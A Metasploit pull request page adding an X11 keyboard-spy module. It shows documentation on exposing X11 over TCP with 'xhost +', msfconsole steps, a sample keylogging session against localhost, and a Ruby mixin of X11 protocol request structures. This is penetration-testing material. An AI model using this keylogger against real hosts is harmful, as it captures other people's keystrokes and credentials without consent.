Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New module to replicate xspy tool (and x11 library) #18877

Merged
merged 34 commits into from
Dec 2, 2024
Merged
Show file tree
Hide file tree
Changes from 20 commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
faa80dc
Create lib for X11.rb
h00die Feb 13, 2024
b22cafb
Update X11.rb
h00die Feb 13, 2024
6156fb5
Create spec for X11.rb
h00die Feb 13, 2024
c39d046
Update and rename X11.rb to x11.rb
h00die Feb 15, 2024
424c55f
Update x11.rb
h00die Feb 15, 2024
7330c69
Update and rename X11.rb to x11.rb
h00die Feb 15, 2024
f5a6d7d
Update x11.rb
h00die Feb 15, 2024
f4b698b
more progress, broke up lib x11 into different files/folders
h00die Feb 20, 2024
7292877
more progress, broke up lib x11 into different files/folders
h00die Feb 22, 2024
794e304
working but ugly code
h00die Feb 22, 2024
e7ca948
working xspy code
h00die Feb 22, 2024
d85f257
Thanks adfoster for spec fixes
h00die Feb 22, 2024
5e42df8
more x11 progress
h00die Feb 23, 2024
453f8bb
more x11 progress, now working on screenshots, WIP
h00die Feb 26, 2024
75d007b
WIP x11 screenshots and lib
h00die Feb 27, 2024
bd956e7
WIP x11 screenshots and lib
h00die Mar 1, 2024
69b89c5
WIP x11 screenshots and lib
h00die Mar 1, 2024
a524682
x11 screenshot module progress
h00die Mar 4, 2024
4f69034
remove screenshot functionality for time being
h00die Mar 22, 2024
bc9fdb3
docs
h00die Apr 14, 2024
7a27c0f
some review on x11
h00die Apr 22, 2024
417e7c1
x11 progress
h00die Apr 24, 2024
83d1dcb
move x11 to be more modular, forgot to grab spec files :(
h00die Apr 25, 2024
a7b428a
doc update
h00die Apr 25, 2024
45312a5
further x11 revisions
h00die Apr 26, 2024
80b4cb7
remove moved files
h00die May 1, 2024
05fb1d3
x11 library update
h00die Jul 11, 2024
ea0d400
update x11 docs
h00die Jul 11, 2024
04f4990
Further x11 updates
h00die Jul 11, 2024
a93a6dd
Merge branch 'rapid7:master' into xspy
h00die Jul 12, 2024
07cc3bb
Further updates to x11
h00die Jul 12, 2024
4ff3897
xspy updates
h00die Nov 21, 2024
cd4899d
Refactor some X11 code around
smcintyre-r7 Nov 27, 2024
e0a39b5
Merge pull request #26 from smcintyre-r7/pr/collab/18877
h00die Nov 27, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
199 changes: 199 additions & 0 deletions documentation/modules/auxiliary/gather/x11_keyboard_spy.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,199 @@
## Vulnerable Application

This module binds to an open X11 host to log keystrokes. The X11 service can accept
connections from any users when misconfigured with the command `xhost +`.
This module is a close copy of the old xspy c program which has been on Kali for a long time.
The module works by connecting to the X11 session, creating a background
window, binding a keyboard to it and creating a notification alert when a key
is pressed.

One of the major limitations of xspy, and thus this module, is that it polls
at a very fast rate, faster than a key being pressed is released (especially before
the repeat delay is hit). To combat printing multiple characters for a single key
press, repeat characters arent printed when typed in a very fast manor. This is also
an imperfect keylogger in that keystrokes arent stored and forwarded but status
displayed at poll time. Keys may be repeated or missing.

### Ubuntu 10.04

1. `sudo nano /etc/gdm/gdm.schemas`
2. Find:

```
<schema>
<key>security/DisallowTCP</key>
<signature>b</signature>
<default>true</default>
</schema>
```
- Change `true` to `false`

3. logout or reboot
4. Verification: `sudo netstat -antp | grep 6000`

```
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
```

5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`

### Ubuntu 12.04, 14.04

1. `sudo nano /etc/lightdm/lightdm.conf`
2. Under the `[SeatDefaults]` area, add:

```
xserver-allow-tcp=true
allow-guest=true
```

3. logout or reboot
4. Verification: `sudo netstat -antp | grep 6000`

```
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
```

5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`

### Ubuntu 16.04

Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*`

### Fedora 15

1. `vi /etc/gdm/custom.conf`
2. Under the `[security]` area, add:

```
DisallowTCP=false
```

3. logout/reboot
4. Now, to verify you allow ANYONE to get on X11, type: `xhost +`

### Solaris 10

1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true`
2. `svc disable cde-login`
3. `svc enable cde-login`
4. `xhost +`

### Ubuntu 22.04

#### Server

Getting X11 to listen on a TCP port is rather taxing, so we use socat to facilitate instead.

1. `sudo apt-get install ubuntu-desktop socat` # overkill but it gets everything we need
2. `sudo reboot` # prob a good idea since so much was installed
3. `sudo xhost +` # must be done through gui, not through SSH
4. `socat -d -d TCP-LISTEN:6000,fork,bind=<IP to listen to here> UNIX-CONNECT:/tmp/.X11-unix/X0`, you may need to
use `X1` instead of `X0` depending on context.

## Verification Steps

1. Configure X11 to listen on port 6000, or use `socat` to open a socket.
1. Start msfconsole
1. Do: `use auxiliary/gather/x11_keyboard_spy`
1. Do: `set rhosts [IP]`
1. Do: `run`
1. You should print keystrokes as they're pressed

## Options

### ListenerTimeout

How many seconds to keylog for.
If set to `0`, wait forever. Defaults to `600`, 10 minutes.

## Scenarios

### Ubuntu 22.04

```
[*] Processing xspy.rb for ERB directives.
resource (xspy.rb)> use auxiliary/gather/x11_keyboard_spy
resource (xspy.rb)> set verbose true
verbose => true
resource (xspy.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/x11_keyboard_spy) > run
[*] Running module against 127.0.0.1

[*] 127.0.0.1:6000 - Establishing TCP Connection
[*] 127.0.0.1:6000 - (1/9) Establishing X11 connection
[-] 127.0.0.1:6000 - Connection packet malfored (size: 8192), attempting to get read more data
[+] 127.0.0.1:6000 - Successly established X11 connection
[*] 127.0.0.1:6000 - Version: 11.0
[*] 127.0.0.1:6000 - Screen Resolution: 958x832
[*] 127.0.0.1:6000 - Resource ID: 33554432
[*] 127.0.0.1:6000 - Screen root: 1320
[*] 127.0.0.1:6000 - (2/9) Checking on BIG-REQUESTS extension
[+] 127.0.0.1:6000 - Extension BIG-REQUESTS is present with id 134
[*] 127.0.0.1:6000 - (3/9) Enabling BIG-REQUESTS
[*] 127.0.0.1:6000 - (4/9) Creating new graphical context
[*] 127.0.0.1:6000 - (5/9) Checking on XKEYBOARD extension
[+] 127.0.0.1:6000 - Extension XKEYBOARD is present with id 136
[*] 127.0.0.1:6000 - (6/9) Enabling XKEYBOARD
[*] 127.0.0.1:6000 - (7/9) Requesting XKEYBOARD map
[*] 127.0.0.1:6000 - (8/9) Enabling notification on keyboard and map
[*] 127.0.0.1:6000 - (9/9) Creating local keyboard map
[+] 127.0.0.1:6000 - All setup, watching for keystrokes
t
e
[space]
q
u
u
i
c
k
[space]
r
o
w
n
[space]
f
o
x
m
p
s
[space]
o
v
e
e
r
r
[space]
t
h
e
[space]
l
a
z
y
[space]
d
o
^C[*] 127.0.0.1:6000 - Closing X11 connection
[+] 127.0.0.1:6000 - Logged keys stored to: /root/.msf4/loot/20240226150211_default_127.0.0.1_x11.keylogger_839830.txt
[-] 127.0.0.1:6000 - Stopping running against current target...
[*] 127.0.0.1:6000 - Control-C again to force quit all targets.
[*] Auxiliary module execution completed
```

## Confirming

To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy)

The output will be very similar to the metasploit module, but may differ. Compare the below two entries (spaces added to xspy for alignment):

```
xspy: the quck rown foxumps over the lazy do
msf: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do
```
151 changes: 151 additions & 0 deletions lib/msf/core/exploit/remote/x11.rb
h00die marked this conversation as resolved.
Show resolved Hide resolved
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
# -*- coding: binary -*-

#
# This mixin is a simplistic implementation of X11
#
# Wireshark dissector: https://wiki.wireshark.org/X11
#

module Msf::Exploit::Remote::X11
include Msf::Exploit::Remote::X11::Connect
include Msf::Exploit::Remote::X11::Extensions
include Msf::Exploit::Remote::X11::Xkeyboard
include Msf::Exploit::Remote::X11::Keysymdef
include Msf::Exploit::Remote::X11::Window

class X11GETPROPERTYRESPONSE < BinData::Record
h00die marked this conversation as resolved.
Show resolved Hide resolved
endian :little
uint8 :reply
uint8 :format
uint16 :sequence_number # GetProperty
uint32 :reply_length
uint32 :get_property_type # 8bit boolean, \x01 == true \x00 == false
uint32 :bytes_after
uint32 :value_length
uint32 :unused
uint32 :unused1
uint32 :unused2
string :value_data, read_length: -> { value_length }
end

class X11GETPROPERTYREQUEST < BinData::Record
endian :little
uint8 :opcode, value: 20 # GetProperty
uint8 :delete_field, initial_value: 0 # \x00 false, assuming \x01 true?
uint16 :request_length, value: -> { num_bytes / 4 }
h00die marked this conversation as resolved.
Show resolved Hide resolved
uint32 :window # X11CONNECTION.screen_root
uint32 :property, initial_value: 23 # "\x17\x00\x00\x00" RESOURCE_MANAGER
uint32 :get_property_type, initial_value: 31 # "\x1f\x00\x00\x00" # get-property-type (31 = string)
uint32 :long_offset, value: 0
uint32 :content_length, value: 100_000_000 # "\x00\xe1\xf5\x05"
end

class X11CREATEGRAPHICALCONTEXTREQUEST < BinData::Record
endian :little
uint8 :opcode, value: 55 # CreateGC (CreateGraphicalContext)
uint8 :unused
uint16 :request_length, value: -> { num_bytes / 4 }
uint32 :cid # X11CONNECTION.resource_id
uint32 :drawable # X11CONNECTION.screen_root
# gc-value-mask mappings from wireshark, uint32 total size
# .... .... .... .... .... .... .... ...0 = function: False
# .... .... .... .... .... .... .... ..0. = plane-mask: False
# .... .... .... .... .... .... .... .0.. = foreground: False
# .... .... .... .... .... .... .... 1... = background: True
# .... .... .... .... .... .... ...0 .... = line-width: False
# .... .... .... .... .... .... ..0. .... = line-style: False
# .... .... .... .... .... .... .0.. .... = cap-style: False
# .... .... .... .... .... .... 0... .... = join-style: False
# .... .... .... .... .... ...0 .... .... = fill-style: False
# .... .... .... .... .... ..0. .... .... = fill-rule: False
# .... .... .... .... .... .0.. .... .... = tile: False
# .... .... .... .... .... 0... .... .... = stipple: False
# .... .... .... .... ...0 .... .... .... = tile-stipple-x-origin: False
# .... .... .... .... ..0. .... .... .... = tile-stipple-y-origin: False
# .... .... .... .... .0.. .... .... .... = font: False
# .... .... .... .... 0... .... .... .... = subwindow-mode: False
# .... .... .... ...0 .... .... .... .... = graphics-exposures: False
# .... .... .... ..0. .... .... .... .... = clip-x-origin: False
# .... .... .... .0.. .... .... .... .... = clip-y-origin: False
# .... .... .... 0... .... .... .... .... = clip-mask: False
# .... .... ...0 .... .... .... .... .... = dash-offset: False
# .... .... ..0. .... .... .... .... .... = gc-dashes: False
# .... .... .0.. .... .... .... .... .... = arc-mode: False
bit1 :gc_value_mask_join_style, initial_value: 0
bit1 :gc_value_mask_cap_style, initial_value: 0
bit1 :gc_value_mask_line_style, initial_value: 0
bit1 :gc_value_mask_line_width, initial_value: 0
bit1 :gc_value_mask_background, initial_value: 0
bit1 :gc_value_mask_foreground, initial_value: 0
bit1 :gc_value_mask_plane_mask, initial_value: 0
bit1 :gc_value_mask_function, initial_value: 0

bit1 :gc_value_mask_subwindow_mode, initial_value: 0
bit1 :gc_value_mask_font, initial_value: 0
bit1 :gc_value_mask_tile_stipple_y_origin, initial_value: 0
bit1 :gc_value_mask_tile_stipple_x_origin, initial_value: 0
bit1 :gc_value_mask_stipple, initial_value: 0
bit1 :gc_value_mask_tile, initial_value: 0
bit1 :gc_value_mask_fill_rule, initial_value: 0
bit1 :gc_value_mask_fill_style, initial_value: 0

bit1 :gc_value_mask_arc_mode, initial_value: 0
bit1 :gc_value_mask_gc_dashes, initial_value: 0
bit1 :gc_value_mask_dash_offset, initial_value: 0
bit1 :gc_value_mask_clip_mask, initial_value: 0
bit1 :gc_value_mask_clip_y_origin, initial_value: 0
bit1 :gc_value_mask_clip_x_origin, initial_value: 0
bit1 :gc_value_mask_graphics_exposures, initial_value: 0
bit1 :gc_value_null_pad

bit8 :gc_value_null_pad1

uint32 :background, initial_value: 16777215
end

class X11FREEGRAPHICALCONTEXTREQUEST < BinData::Record
endian :little
uint8 :opcode, value: 60 # FreeGC
uint8 :unused, value: 1
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If this needs to be 1 it's probably not unused.

uint16 :request_length, value: -> { num_bytes / 4 }
uint32 :gc # X11CONNECTION.resource_id_base
end

class X11GETINPUTFOCUSREQUEST < BinData::Record
endian :little
uint8 :opcode, value: 43 # GetInputFocus
uint8 :unused
uint16 :request_length, value: -> { num_bytes / 4 }
end

class X11INTERNATOMREQUEST < BinData::Record
endian :little
uint8 :opcode, value: 16 # InternAtom
uint8 :only_if_exists, initial_value: 0 # 0 false, 1 true?
uint16 :request_length, value: -> { num_bytes / 4 }
uint16 :name_length, value: -> { name.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding
uint16 :unused, initial_value: 0
string :name, trim_padding: true
end

class X11INTERNATOMRESPONSE < BinData::Record
endian :little
uint8 :reply
uint8 :unused
uint16 :sequence_number
uint32 :reply_length
uint32 :atom
rest :pad
end

class X11ERROR < BinData::Record
endian :little
uint8 :response_type # 0 = Error, 1 = Reply
uint8 :error_code # 8 = BadMatch
uint16 :sequence_number
uint32 :bad_value
uint16 :minor_opcode
uint16 :major_opcode
uint8 :unused
end
end
Loading